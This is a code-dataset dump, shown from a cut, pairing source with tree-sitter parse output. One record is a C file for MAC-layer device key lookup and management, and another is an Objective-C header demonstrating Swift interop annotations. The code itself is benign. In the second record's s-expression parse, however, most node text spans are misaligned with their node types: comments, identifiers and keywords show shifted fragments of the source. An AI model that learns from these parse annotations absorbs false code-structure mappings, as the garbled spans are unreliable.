448, 449], "start_point": {"row": 156, "column": 14}, "end_point": {"row": 156, "column": 49}}, {"id": 445, "type": "pointer_declarator", "text": "*k", "parent": 444, "children": [446, 447], "start_point": {"row": 156, "column": 14}, "end_point": {"row": 156, "column": 16}}, {"id": 446, "type": "*", "text": "*", "parent": 445, "children": [], "start_point": {"row": 156, "column": 14}, "end_point": {"row": 156, "column": 15}}, {"id": 447, "type": "identifier", "text": "k", "parent": 445, "children": [], "start_point": {"row": 156, "column": 15}, "end_point": {"row": 156, "column": 16}}, {"id": 448, "type": "=", "text": "=", "parent": 444, "children": [], "start_point": {"row": 156, "column": 17}, "end_point": {"row": 156, "column": 18}}, {"id": 449, "type": "call_expression", "text": "mac_device_get_key(dev, index)", "parent": 444, "children": [450, 451], "start_point": {"row": 156, "column": 19}, "end_point": {"row": 156, "column": 49}}, {"id": 450, "type": "identifier", "text": "mac_device_get_key", "parent": 449, "children": [], "start_point": {"row": 156, "column": 19}, "end_point": {"row": 156, "column": 37}}, {"id": 451, "type": "argument_list", "text": "(dev, index)", "parent": 449, "children": [452, 453], "start_point": {"row": 156, "column": 37}, "end_point": {"row": 156, "column": 49}}, {"id": 452, "type": "identifier", "text": "dev", "parent": 451, "children": [], "start_point": {"row": 156, "column": 38}, "end_point": {"row": 156, "column": 41}}, {"id": 453, "type": "identifier", "text": "index", "parent": 451, "children": [], "start_point": {"row": 156, "column": 43}, "end_point": {"row": 156, "column": 48}}, {"id": 454, "type": "if_statement", "text": "if (k != NULL)\n {\n WS_DEBUG(\"removing key (%u)\\n\", index);\n ws_list_remove(&k->list);\n FREE(k);\n }\n else\n {\n WS_WARN(\"no key (%u) to remove\\n\", index);\n }", "parent": 429, "children": [455, 478], "start_point": {"row": 157, "column": 4}, "end_point": {"row": 166, "column": 5}}, {"id": 455, "type": "parenthesized_expression", "text": "(k != NULL)", "parent": 454, "children": [456], "start_point": {"row": 157, "column": 7}, "end_point": {"row": 157, "column": 18}}, {"id": 456, "type": "binary_expression", "text": "k != NULL", "parent": 455, "children": [457, 458, 459], "start_point": {"row": 157, "column": 8}, "end_point": {"row": 157, "column": 17}}, {"id": 457, "type": "identifier", "text": "k", "parent": 456, "children": [], "start_point": {"row": 157, "column": 8}, "end_point": {"row": 157, "column": 9}}, {"id": 458, "type": "!=", "text": "!=", "parent": 456, "children": [], "start_point": {"row": 157, "column": 10}, "end_point": {"row": 157, "column": 12}}, {"id": 459, "type": "null", "text": "NULL", "parent": 456, "children": [460], "start_point": {"row": 157, "column": 13}, "end_point": {"row": 157, "column": 17}}, {"id": 460, "type": "NULL", "text": "NULL", "parent": 459, "children": [], "start_point": {"row": 157, "column": 13}, "end_point": {"row": 157, "column": 17}}, {"id": 461, "type": "call_expression", "text": "WS_DEBUG(\"removing key (%u)\\n\", index)", "parent": 454, "children": [462, 463], "start_point": {"row": 159, "column": 8}, "end_point": {"row": 159, "column": 46}}, {"id": 462, "type": "identifier", "text": "WS_DEBUG", "parent": 461, "children": [], "start_point": {"row": 159, "column": 8}, "end_point": {"row": 159, "column": 16}}, {"id": 463, "type": "argument_list", "text": "(\"removing key (%u)\\n\", index)", "parent": 461, "children": [464, 466], "start_point": {"row": 159, "column": 16}, "end_point": {"row": 159, "column": 46}}, {"id": 464, "type": "string_literal", "text": "\"removing key (%u)\\n\"", "parent": 463, "children": [465], "start_point": {"row": 159, "column": 17}, "end_point": {"row": 159, "column": 38}}, {"id": 465, "type": "escape_sequence", "text": "\\n", "parent": 464, "children": [], "start_point": {"row": 159, "column": 35}, "end_point": {"row": 159, "column": 37}}, {"id": 466, "type": "identifier", "text": "index", "parent": 463, "children": [], "start_point": {"row": 159, "column": 40}, "end_point": {"row": 159, "column": 45}}, {"id": 467, "type": "call_expression", "text": "ws_list_remove(&k->list)", "parent": 454, "children": [468, 469], "start_point": {"row": 160, "column": 8}, "end_point": {"row": 160, "column": 32}}, {"id": 468, "type": "identifier", "text": "ws_list_remove", "parent": 467, "children": [], "start_point": {"row": 160, "column": 8}, "end_point": {"row": 160, "column": 22}}, {"id": 469, "type": "argument_list", "text": "(&k->list)", "parent": 467, "children": [470], "start_point": {"row": 160, "column": 22}, "end_point": {"row": 160, "column": 32}}, {"id": 470, "type": "pointer_expression", "text": "&k->list", "parent": 469, "children": [471], "start_point": {"row": 160, "column": 23}, "end_point": {"row": 160, "column": 31}}, {"id": 471, "type": "field_expression", "text": "k->list", "parent": 470, "children": [472, 473], "start_point": {"row": 160, "column": 24}, "end_point": {"row": 160, "column": 31}}, {"id": 472, "type": "identifier", "text": "k", "parent": 471, "children": [], "start_point": {"row": 160, "column": 24}, "end_point": {"row": 160, "column": 25}}, {"id": 473, "type": "field_identifier", "text": "list", "parent": 471, "children": [], "start_point": {"row": 160, "column": 27}, "end_point": {"row": 160, "column": 31}}, {"id": 474, "type": "call_expression", "text": "FREE(k)", "parent": 454, "children": [475, 476], "start_point": {"row": 161, "column": 8}, "end_point": {"row": 161, "column": 15}}, {"id": 475, "type": "identifier", "text": "FREE", "parent": 474, "children": [], "start_point": {"row": 161, "column": 8}, "end_point": {"row": 161, "column": 12}}, {"id": 476, "type": "argument_list", "text": "(k)", "parent": 474, "children": [477], "start_point": {"row": 161, "column": 12}, "end_point": {"row": 161, "column": 15}}, {"id": 477, "type": "identifier", "text": "k", "parent": 476, "children": [], "start_point": {"row": 161, "column": 13}, "end_point": {"row": 161, "column": 14}}, {"id": 478, "type": "else_clause", "text": "else\n {\n WS_WARN(\"no key (%u) to remove\\n\", index);\n }", "parent": 454, "children": [], "start_point": {"row": 163, "column": 4}, "end_point": {"row": 166, "column": 5}}, {"id": 479, "type": "call_expression", "text": "WS_WARN(\"no key (%u) to remove\\n\", index)", "parent": 478, "children": [480, 481], "start_point": {"row": 165, "column": 8}, "end_point": {"row": 165, "column": 49}}, {"id": 480, "type": "identifier", "text": "WS_WARN", "parent": 479, "children": [], "start_point": {"row": 165, "column": 8}, "end_point": {"row": 165, "column": 15}}, {"id": 481, "type": "argument_list", "text": "(\"no key (%u) to remove\\n\", index)", "parent": 479, "children": [482, 484], "start_point": {"row": 165, "column": 15}, "end_point": {"row": 165, "column": 49}}, {"id": 482, "type": "string_literal", "text": "\"no key (%u) to remove\\n\"", "parent": 481, "children": [483], "start_point": {"row": 165, "column": 16}, "end_point": {"row": 165, "column": 41}}, {"id": 483, "type": "escape_sequence", "text": "\\n", "parent": 482, "children": [], "start_point": {"row": 165, "column": 38}, "end_point": {"row": 165, "column": 40}}, {"id": 484, "type": "identifier", "text": "index", "parent": 481, "children": [], "start_point": {"row": 165, "column": 43}, "end_point": {"row": 165, "column": 48}}]}, "node_categories": {"declarations": {"functions": [10, 15, 19, 97, 101, 188, 192, 244, 248, 313, 315, 429, 431], "variables": [22, 25, 30, 104, 109, 114, 195, 251, 256, 259, 264, 318, 323, 326, 331, 434, 439, 442], "classes": [], "imports": [0, 1], "modules": [], "enums": []}, "statements": {"expressions": [35, 45, 46, 50, 53, 54, 60, 66, 72, 77, 78, 83, 84, 85, 86, 119, 130, 131, 135, 138, 139, 145, 151, 157, 162, 163, 169, 170, 171, 174, 175, 200, 205, 210, 211, 218, 221, 228, 231, 236, 273, 274, 278, 281, 282, 288, 294, 301, 302, 303, 338, 344, 345, 350, 356, 359, 365, 374, 379, 382, 383, 386, 387, 392, 398, 404, 407, 413, 418, 421, 422, 425, 426, 449, 455, 456, 461, 467, 470, 471, 474, 479], "assignments": [42, 57, 63, 127, 142, 148, 270, 285, 291, 364, 371, 412], "loops": [41, 126, 269], "conditionals": [3, 4, 12, 14, 16, 20, 24, 26, 29, 31, 34, 36, 40, 43, 47, 48, 49, 51, 55, 56, 58, 61, 62, 64, 67, 69, 70, 71, 73, 79, 80, 81, 82, 87, 88, 89, 91, 93, 98, 102, 108, 110, 113, 115, 118, 120, 124, 125, 128, 132, 133, 134, 136, 140, 141, 143, 146, 147, 149, 152, 154, 155, 156, 158, 164, 165, 166, 167, 168, 172, 176, 177, 178, 179, 180, 184, 189, 193, 196, 199, 201, 206, 207, 208, 209, 212, 213, 214, 215, 216, 219, 222, 223, 224, 225, 226, 229, 232, 233, 234, 237, 245, 249, 252, 255, 258, 260, 263, 265, 268, 271, 275, 276, 277, 279, 283, 284, 286, 289, 290, 292, 295, 297, 298, 299, 300, 304, 305, 307, 309, 316, 319, 322, 325, 330, 332, 336, 339, 341, 342, 343, 346, 351, 355, 357, 360, 361, 362, 363, 366, 367, 369, 372, 376, 380, 384, 385, 388, 393, 399, 403, 405, 408, 409, 410, 411, 414, 415, 417, 419, 423, 424, 427, 428, 432, 435, 438, 441, 443, 447, 450, 452, 453, 454, 457, 462, 466, 468, 472, 473, 475, 477, 480, 484], "returns": [92, 94, 183, 185, 217, 227, 241, 308, 310, 397], "exceptions": []}, "expressions": {"calls": [7], "literals": [2, 5, 38, 75, 122, 160, 182, 203, 239, 353, 395, 401, 464, 482], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 10, "universal_type": "function", "name": "unknown", "text_snippet": "#define WS_DEBUG(...)\n"}, {"node_id": 15, "universal_type": "function", "name": "unknown", "text_snippet": "mac_device_t *\nmac_device_get_by_short(uint16_t short_addr)\n{\n ws_list_t *ptr;\n mac_device_t *"}, {"node_id": 19, "universal_type": "function", "name": "unknown", "text_snippet": "mac_device_get_by_short(uint16_t short_addr)"}, {"node_id": 97, "universal_type": "function", "name": "unknown", "text_snippet": "mac_device_t *\nmac_device_get_by_extended(uint8_t *extended_addr)\n{\n ws_list_t *ptr;\n mac_devi"}, {"node_id": 101, "universal_type": "function", "name": "unknown", "text_snippet": "mac_device_get_by_extended(uint8_t *extended_addr)"}, {"node_id": 188, "universal_type": "function", "name": "unknown", "text_snippet": "mac_device_t *\nmac_device_get_by_addr(ws_mac_addr_t *addr)\n{\n WS_DEBUG(\"searching by address type"}, {"node_id": 192, "universal_type": "function", "name": "unknown", "text_snippet": "mac_device_get_by_addr(ws_mac_addr_t *addr)"}, {"node_id": 244, "universal_type": "function", "name": "unknown", "text_snippet": "mac_key_t *\nmac_device_get_key(mac_device_t *dev, uint8_t index)\n{\n ws_list_t *ptr;\n mac_key_t"}, {"node_id": 248, "universal_type": "function", "name": "unknown", "text_snippet": "mac_device_get_key(mac_device_t *dev, uint8_t index)"}, {"node_id": 313, "universal_type": "function", "name": "mac_device_set_key", "text_snippet": "void\nmac_device_set_key(mac_device_t *dev, uint8_t index, uint8_t *key)\n{\n mac_key_t *k = mac_dev"}, {"node_id": 315, "universal_type": "function", "name": "unknown", "text_snippet": "mac_device_set_key(mac_device_t *dev, uint8_t index, uint8_t *key)"}, {"node_id": 429, "universal_type": "function", "name": "mac_device_remove_key", "text_snippet": "void\nmac_device_remove_key(mac_device_t *dev, uint8_t index)\n{\n mac_key_t *k = mac_device_get_key"}, {"node_id": 431, "universal_type": "function", "name": "unknown", "text_snippet": "mac_device_remove_key(mac_device_t *dev, uint8_t index)"}], "class_declarations": [], "import_statements": [{"node_id": 0, "text": "#include \"mac_private.h\"\n"}, {"node_id": 1, "text": "#include"}]}, "original_source_code": "/*\n * Copyright (c) 2015, <NAME>\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * 1. Redistributions of source code must retain the above copyright notice,\n * this list of conditions and the following disclaimer.\n *\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and/or other materials provided with the distribution.\n *\n * 3. Neither the name of the copyright holder nor the names of its\n * contributors may be used to endorse or promote products derived from this\n * software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n */\n\n#include \"mac_private.h\"\n\n\n#if 1\n#undef WS_DEBUG\n#define WS_DEBUG(...)\n#endif\n\n\nmac_device_t *\nmac_device_get_by_short(uint16_t short_addr)\n{\n ws_list_t *ptr;\n mac_device_t *dev;\n\n WS_DEBUG(\"searching for %u\\n\", short_addr);\n\n for (ptr = mac.device_list.next;\n ptr != &mac.device_list;\n ptr = ptr->next)\n {\n dev = ws_list_get_data(ptr, mac_device_t, list);\n WS_DEBUG(\"comparing to: %u\\n\", dev->addr.short_addr);\n if (dev->addr.short_addr == short_addr)\n return dev;\n }\n\n return NULL;\n}\n\n\nmac_device_t *\nmac_device_get_by_extended(uint8_t *extended_addr)\n{\n ws_list_t *ptr;\n mac_device_t *dev;\n\n WS_DEBUG(\"Searching for %r\\n\", extended_addr,\n WS_MAC_ADDR_TYPE_EXTENDED_LEN);\n\n for (ptr = mac.device_list.next;\n ptr != &mac.device_list;\n ptr = ptr->next)\n {\n dev = ws_list_get_data(ptr, mac_device_t, list);\n WS_DEBUG(\"comparing to: %r\\n\", dev->addr.extended_addr,\n WS_MAC_ADDR_TYPE_EXTENDED_LEN);\n if (memcmp(dev->addr.extended_addr, extended_addr,\n WS_MAC_ADDR_TYPE_EXTENDED_LEN) == 0)\n return dev;\n }\n\n return NULL;\n}\n\n\nmac_device_t *\nmac_device_get_by_addr(ws_mac_addr_t *addr)\n{\n WS_DEBUG(\"searching by address type: %u\\n\", addr->type);\n switch (addr->type)\n {\n case WS_MAC_ADDR_TYPE_SHORT:\n return mac_device_get_by_short(addr->short_addr);\n\n case WS_MAC_ADDR_TYPE_EXTENDED:\n return mac_device_get_by_extended(addr->extended_addr);\n\n default:\n WS_WARN(\"unknown address type\\n\");\n return NULL;\n }\n}\n\n\nmac_key_t *\nmac_device_get_key(mac_device_t *dev, uint8_t index)\n{\n ws_list_t *ptr;\n mac_key_t *key;\n\n for (ptr = dev->key_list.next;\n ptr != &dev->key_list;\n ptr = ptr->next)\n {\n key = ws_list_get_data(ptr, mac_key_t, list);\n if (key->index == index)\n return key;\n }\n\n return NULL;\n}\n\n\nvoid\nmac_device_set_key(mac_device_t *dev, uint8_t index, uint8_t *key)\n{\n mac_key_t *k = mac_device_get_key(dev, index);\n if (k != NULL)\n {\n WS_DEBUG(\"updating existing key (%u)\\n\", index);\n memcpy(k->key, key, WS_MAC_KEY_LEN);\n k->index = index;\n }\n else\n {\n k = (mac_key_t *)MALLOC(sizeof(mac_key_t));\n if (k == NULL)\n {\n WS_ERROR(\"failed to allocate memory for new key\\n\");\n return;\n }\n\n WS_DEBUG(\"adding new key (%u)\\n\", index);\n\n memcpy(k->key, key, WS_MAC_KEY_LEN);\n k->index = index;\n ws_list_add_after(&dev->key_list, &k->list);\n }\n}\n\n\nvoid\nmac_device_remove_key(mac_device_t *dev, uint8_t index)\n{\n mac_key_t *k = mac_device_get_key(dev, index);\n if (k != NULL)\n {\n WS_DEBUG(\"removing key (%u)\\n\", index);\n ws_list_remove(&k->list);\n FREE(k);\n }\n else\n {\n WS_WARN(\"no key (%u) to remove\\n\", index);\n }\n}\n"}
81,126
c
// // CFile.h // CAndSwift // // Created by 盘国权 on 2018/4/29. // Copyright © 2018年 pgq. All rights reserved. // #import <Foundation/Foundation.h> #ifndef CFile #define CFile #pragma mark - 1 变量引用 const int global_ten; // NS_STRING_ENUM 通常表示值固定 typedef NSString * PQButtonColor NS_STRING_ENUM; PQButtonColor const PQButtonColorRed; PQButtonColor const PQButtonColorGreen; PQButtonColor const PQButtonColorBlue; // NS_EXTENSIBLE_STRING_ENUM 表示可扩展 typedef int Shape NS_EXTENSIBLE_STRING_ENUM; Shape const ShapeCircle; Shape const ShapeTriangle; Shape const ShapeSquare; #pragma mark - 2 函数引用 int add(int a, int b); int sum(int, ...); int vsum(int, va_list); #pragma mark - 3 struct 和 unique 引用 typedef struct{ int x,y; }Location; //为struct添加方法 //ps 因为写的是全局方法,所以要这样子调用,如何变成对象调用呢? // 使用CF_SWIFT_NAME修饰这个方法,把name变成签名 Location moveX(Location loc, int delta) CF_SWIFT_NAME(Location.moveX(self:delta:)); Location moveY(Location loc, int delta); //工厂方法的创建 Location createLocation(int) CF_SWIFT_NAME(Location.init(xy:)); //getter Location getOrigin(void) CF_SWIFT_NAME(getter:Location.origin()); //setter Location setOrigin(Location) CF_SWIFT_NAME(setter:Location.origin(newOrigin:)); typedef union { char character; int code; } ASCII; // struct and union typedef struct { union { char model; int series; }; struct { double pricing; bool isAvailable; }info; } Car; #pragma mark - 4 enum typedef enum { BMW,AUDI,BENZ }CarType; /* 里面有两个参数: - 第一个参数是类型 - 第二个是enum名称 */ typedef NS_ENUM(int,PQCarType) { PQBMW,PQAUDI,PQBENZ }; #endif
19.91
77
(translation_unit) "//\n// CFile.h\n// CAndSwift\n//\n// Created by 盘国权 on 2018/4/29.\n// Copyright © 2018年 pgq. All rights reserved.\n//\n\n#import <Foundation/Foundation.h>\n\n#ifndef CFile\n#define CFile\n\n#pragma mark - 1 变量引用\nconst int global_ten;\n\n// NS_STRING_ENUM 通常表示值固定\ntypedef NSString * PQButtonColor NS_STRING_ENUM;\n\nPQButtonColor const PQButtonColorRed;\nPQButtonColor const PQButtonColorGreen;\nPQButtonColor const PQButtonColorBlue;\n\n// NS_EXTENSIBLE_STRING_ENUM 表示可扩展\ntypedef int Shape NS_EXTENSIBLE_STRING_ENUM;\n\nShape const ShapeCircle;\nShape const ShapeTriangle;\nShape const ShapeSquare;\n\n\n\n#pragma mark - 2 函数引用\nint add(int a, int b);\nint sum(int, ...);\nint vsum(int, va_list);\n\n\n#pragma mark - 3 struct 和 unique 引用\n\ntypedef struct{\n int x,y;\n}Location;\n\n//为struct添加方法\n//ps 因为写的是全局方法,所以要这样子调用,如何变成对象调用呢?\n// 使用CF_SWIFT_NAME修饰这个方法,把name变成签名 \nLocation moveX(Location loc, int delta) CF_SWIFT_NAME(Location.moveX(self:delta:));\nLocation moveY(Location loc, int delta);\n\n//工厂方法的创建\nLocation createLocation(int) CF_SWIFT_NAME(Location.init(xy:));\n\n//getter\nLocation getOrigin(void) CF_SWIFT_NAME(getter:Location.origin());\n//setter\nLocation setOrigin(Location) CF_SWIFT_NAME(setter:Location.origin(newOrigin:));\n\n\ntypedef union {\n char character;\n int code;\n} ASCII;\n\n\n// struct and union\ntypedef struct {\n union {\n char model;\n int series;\n };\n \n struct {\n double pricing;\n bool isAvailable;\n }info;\n \n} Car;\n\n\n#pragma mark - 4 enum\ntypedef enum {\n BMW,AUDI,BENZ\n}CarType;\n\n/*\n 里面有两个参数:\n - 第一个参数是类型\n - 第二个是enum名称\n */\ntypedef NS_ENUM(int,PQCarType) {\n PQBMW,PQAUDI,PQBENZ\n};\n\n\n#endif\n" (comment) "//" (comment) "// CFile.h" (comment) "// CAndSwift" (comment) "//" (comment) "// Created by 盘国权 on 2018/4/29.\n// C" (comment) "pyright © 2018年 pgq. All rights reserved.\n//\n\n#imp" (comment) "rt" (preproc_call) "Foundation/Foundation.h>\n\n#ifndef " (preproc_directive) "Foundat" (preproc_arg) "on/Foundation.h>\n\n#ifndef" (preproc_ifdef) "File\n#define CFile\n\n#pragma mark - 1 变量引用\nconst int global_ten;\n\n// NS_STRING_ENUM 通常表示值固定\ntypedef NSString * PQButtonColor NS_STRING_ENUM;\n\nPQButtonColor const PQButtonColorRed;\nPQButtonColor const PQButtonColorGreen;\nPQButtonColor const PQButtonColorBlue;\n\n// NS_EXTENSIBLE_STRING_ENUM 表示可扩展\ntypedef int Shape NS_EXTENSIBLE_STRING_ENUM;\n\nShape const ShapeCircle;\nShape const ShapeTriangle;\nShape const ShapeSquare;\n\n\n\n#pragma mark - 2 函数引用\nint add(int a, int b);\nint sum(int, ...);\nint vsum(int, va_list);\n\n\n#pragma mark - 3 struct 和 unique 引用\n\ntypedef struct{\n int x,y;\n}Location;\n\n//为struct添加方法\n//ps 因为写的是全局方法,所以要这样子调用,如何变成对象调用呢?\n// 使用CF_SWIFT_NAME修饰这个方法,把name变成签名 \nLocation moveX(Location loc, int delta) CF_SWIFT_NAME(Location.moveX(self:delta:));\nLocation moveY(Location loc, int delta);\n\n//工厂方法的创建\nLocation createLocation(int) CF_SWIFT_NAME(Location.init(xy:));\n\n//getter\nLocation getOrigin(void) CF_SWIFT_NAME(getter:Location.origin());\n//setter\nLocation setOrigin(Location) CF_SWIFT_NAME(setter:Location.origin(newOrigin:));\n\n\ntypedef union {\n char character;\n int code;\n} ASCII;\n\n\n// struct and union\ntypedef struct {\n union {\n char model;\n int series;\n };\n \n struct {\n double pricing;\n bool isAvailable;\n }info;\n \n} Car;\n\n\n#pragma mark - 4 enum\ntypedef enum {\n BMW,AUDI,BENZ\n}CarType;\n\n/*\n 里面有两个参数:\n - 第一个参数是类型\n - 第二个是enum名称\n */\ntypedef NS_ENUM(int,PQCarType) {\n PQBMW,PQAUDI,PQBENZ\n};\n\n\n#endif\n" (#ifndef) "File\n#d" (identifier) "fine " (preproc_def) "File\n\n#pragma " (#define) "File\n\n#" (identifier) "ragma" (preproc_call) "ark - 1 变量引用\nconst int global_" (preproc_directive) "ark - 1" (preproc_arg) "变量引用\nconst int global" (declaration) "ten;\n\n// NS_STRING_EN" (type_qualifier) "ten;\n" (const) "ten;\n" (primitive_type) "// " (identifier) "S_STRING_E" (;) "N" (comment) " 通常表示值固定\ntypedef NSString * PQButtonCol" (type_definition) "r NS_STRING_ENUM;\n\nPQButtonColor" (typedef) "r NS_ST" (type_identifier) "ING_ENUM" (pointer_declarator) "\n\nPQButtonColor" (*) "\n" (type_identifier) "PQButtonColor" (;) "" (expression_statement) "const PQButtonC" (identifier) "const PQButton" (;) "C" (declaration) "orRed;\nPQButtonColor const PQButtonCo" (type_identifier) "orRed;\nPQButt" (type_qualifier) "nColo" (const) "nColo" (identifier) " const PQButtonC" (;) "o" (declaration) "orGreen;\nPQButtonColor const PQButtonCo" (type_identifier) "orGreen;\nPQBu" (type_qualifier) "tonCo" (const) "tonCo" (identifier) "or const PQButtonC" (;) "o" (declaration) "orBlue;\n\n// NS_EXTENSIBLE_STRING_ENUM " (type_identifier) "orBlue;\n\n// N" (type_qualifier) "_EXTE" (const) "_EXTE" (identifier) "SIBLE_STRING_ENUM" (;) " " (comment) "可扩展\ntypedef int Shape NS_EXTENSIBLE_STRING_E" (type_definition) "UM;\n\nShape const ShapeCircle;\nShape const Sh" (typedef) "UM;\n\nSh" (primitive_type) "pe " (ERROR) "onst " (type_identifier) "onst " (type_identifier) "hapeCircle;\nShape const S" (;) "h" (declaration) "eTriangle;\nShape const S" (type_identifier) "eTria" (type_qualifier) "gle;\n" (const) "gle;\n" (identifier) "hape const " (;) "S" (declaration) "apeSquare;\n\n\n\n#pragma mark" (type_identifier) "apeSq" (type_qualifier) "are;\n" (const) "are;\n" (identifier) "\n\n#pragma mar" (;) "k" (declaration) "- 2 函数引用\nint add(int a, " (type_identifier) "- 2 函" (type_qualifier) "引用\nin" (const) "引用\nin" (identifier) " add(int a," (;) " " (preproc_call) "b);\nint sum(int, ...);\nint vsu" (preproc_directive) "b);\nint" (preproc_arg) "sum(int, ...);\nint vs" (declaration) "m(int, va_list);\n\n\n#pr" (primitive_type) "m(i" (function_declarator) "t, va_list);\n\n\n#p" (identifier) "t, " (parameter_list) "va_list);\n\n\n#p" (() "v" (parameter_declaration) "a_lis" (primitive_type) "a_l" (identifier) "s" (,) "t" (parameter_declaration) ";\n\n\n#" (primitive_type) ";\n\n" (identifier) "#" ()) "p" (;) "r" (declaration) "gma mark - 3 struc" (primitive_type) "gma" (function_declarator) "mark - 3 stru" (identifier) "mar" (parameter_list) "k - 3 stru" (() "k" (parameter_declaration) " - " (primitive_type) " - " (,) "3" (variadic_parameter) "str" (...) "str" ()) "u" (;) "c" (declaration) " 和 unique 引用\n\ntypedef s" (primitive_type) " 和 " (function_declarator) "nique 引用\n\ntypedef " (identifier) "niqu" (parameter_list) "e 引用\n\ntypedef " (() "e" (parameter_declaration) " 引用" (primitive_type) " 引用" (,) "\n" (parameter_declaration) "typedef" (type_identifier) "typedef" ()) " " (;) "s" (preproc_call) "ct{\n int x,y;\n}Location;\n\n//为struct添加方法" (preproc_directive) "ct{\n " (preproc_arg) "int x,y;\n}Location;\n\n//为struct添加方" (type_definition) "//ps 因为写的是全局方法,所以要这样子调用,如何变成对象调用呢?\n// 使" (typedef) "//ps 因为" (struct_specifier) "的是全局方法,所以要这样子调用,如何变成对象" (struct) "的是全局方法" (field_declaration_list) ",所以要这样子调用,如何变成对象" ({) "," (field_declaration) "子调用,如何变成" (primitive_type) "子调用" (field_identifier) "如" (,) "何" (field_identifier) "变" (;) "成" (}) "象" (type_identifier) "调用呢?\n// " (;) "使" (comment) "F_SWIFT_NAME修饰这个方法,把nam" (comment) "变成签名 \nLocation moveX(Location loc, int delta) CF_SWIFT_NAME(Location.moveX(self:delta:));\nLo" (comment) "ation moveY(Location loc, int delta);\n\n//工厂方法的创建\nLocation creat" (ERROR) "Location(int) CF_SWIFT_NAME(Location.init(xy:));\n\n//getter\nLocation getOrigin(void" (type_identifier) "Location" (function_declarator) "int) CF_SWIFT_NAME(Location.init(xy:));\n\n//getter\nLocation getOrigin(void" (identifier) "int) " (parameter_list) "CF_SWIFT_NAME(Location.in" (() "C" (parameter_declaration) "F_SWIFT_NAME" (type_identifier) "F_SWIFT_" (identifier) "AME" (,) "(" (parameter_declaration) "ocation.i" (primitive_type) "oca" (identifier) "ion.i" ()) "n" (call_expression) "t(xy:));\n\n//getter\nLocation getOrigin(void" (identifier) "t(xy:));\n\n//g" (argument_list) "etter\nLocation getOrigin(void" (() "e" (ERROR) "tter\nLoca" (identifier) "tter\nLoc" (.) "a" (call_expression) "tion getOrigin(voi" (identifier) "tion " (argument_list) "getOrigin(voi" (() "g" (ERROR) "etOri" (identifier) "etOr" (:) "i" (identifier) "gin(v" (ERROR) "o" (:) "o" ()) "i" ()) "d" (expression_statement) ")" (;) ")" (declaration) "CF_SWIFT_NAME(getter:Location.origin());" (type_identifier) "CF_SWIFT" (function_declarator) "NAME(getter:Location.origin())" (identifier) "NAME(" (parameter_list) "getter:Location.origin())" (() "g" (parameter_declaration) "etter:Locati" (type_identifier) "etter:Lo" (identifier) "ati" (,) "o" (parameter_declaration) ".origin()" (primitive_type) ".or" (identifier) "gin()" ()) ")" (;) ";" (comment) "/setter\nLocation setOri" (ERROR) "in(Location) CF_SWIFT_NAME(setter:Location.origin(newOrigin:))" (type_identifier) "in(Locat" (function_declarator) "on) CF_SWIFT_NAME(setter:Location.origin(newOrigin:))" (identifier) "on) CF_SWIFT_N" (parameter_list) "AME(s" (() "A" (parameter_declaration) "ME(" (primitive_type) "ME(" ()) "s" (call_expression) "tter:Location.origin(newOrigin:))" (identifier) "tter:Location" (argument_list) ".origin(newOrigin:))" (() "." (ERROR) "origin(ne" (identifier) "origin(n" (.) "e" (call_expression) "wOrigin:)" (identifier) "wOri" (argument_list) "gin:)" (() "g" (identifier) "in" (ERROR) ":" (:) ":" ()) ")" ()) ")" (expression_statement) ";" (;) ";" (comment) "\ntypedef" (ERROR) "union {\n char character;\n int code;\n} ASCII;\n\n\n// struct a" (type_identifier) "union {\n" (function_declarator) " char character;\n int code;\n} ASCII;\n\n\n// struct a" (identifier) " char c" (parameter_list) "haract" (() "h" (parameter_declaration) "arac" (primitive_type) "arac" ()) "t" (call_expression) "r;\n int code;\n} ASCII;\n\n\n// struct a" (identifier) "r;\n int co" (argument_list) "de;\n} ASCII;\n\n\n// struct a" (() "d" (ERROR) "e;\n} ASCII;\n\n\n//" (identifier) "e;\n} A" (:) "S" (identifier) "CII;\n\n\n/" (.) "/" (call_expression) " struct " (identifier) " struc" (argument_list) "t " (() "t" ()) " " ()) "a" (expression_statement) "n" (;) "n" (comment) " union\nt" (ERROR) "pedef struct {\n union {\n char model;\n int series;\n };\n " (type_identifier) "pedef st" (function_declarator) "uct {\n union {\n " (identifier) "uct {\n " (parameter_list) " union {\n " (() " " (identifier) "union {\n" ()) " " (macro_type_specifier) " char model;\n int series;\n };\n " (identifier) " char mo" (() "d" (ERROR) "el;\n " (type_descriptor) "el;\n " (type_identifier) "el;\n " (:) " " (type_descriptor) " int" (type_identifier) " int" (ERROR) " series;\n };\n " (.) " " (identifier) "series" (() ";" (identifier) "\n };\n " (:) " " ()) " " ()) " " (expression_statement) "\n" (;) "\n" (type_definition) " struct {\n double pricing;\n bool isAvailable" (typedef) " struct" (union_specifier) "{\n double pricing;\n bool isAv" (union) "{\n " (field_declaration_list) " double pricing;\n bool isAv" ({) " " (field_declaration) "uble pricing;\n " (primitive_type) "uble" (field_identifier) "pricing;\n" (;) " " (field_declaration) " bool is" (primitive_type) " b" (field_identifier) "ol i" (;) "s" (}) "v" (type_identifier) "ilabl" (;) "e" (comment) " }info;\n \n} Ca" (type_definition) ";\n\n\n#pragma mark - 4 enum\ntypedef enum {\n BMW,AUDI,BENZ\n}CarType;\n\n/*\n 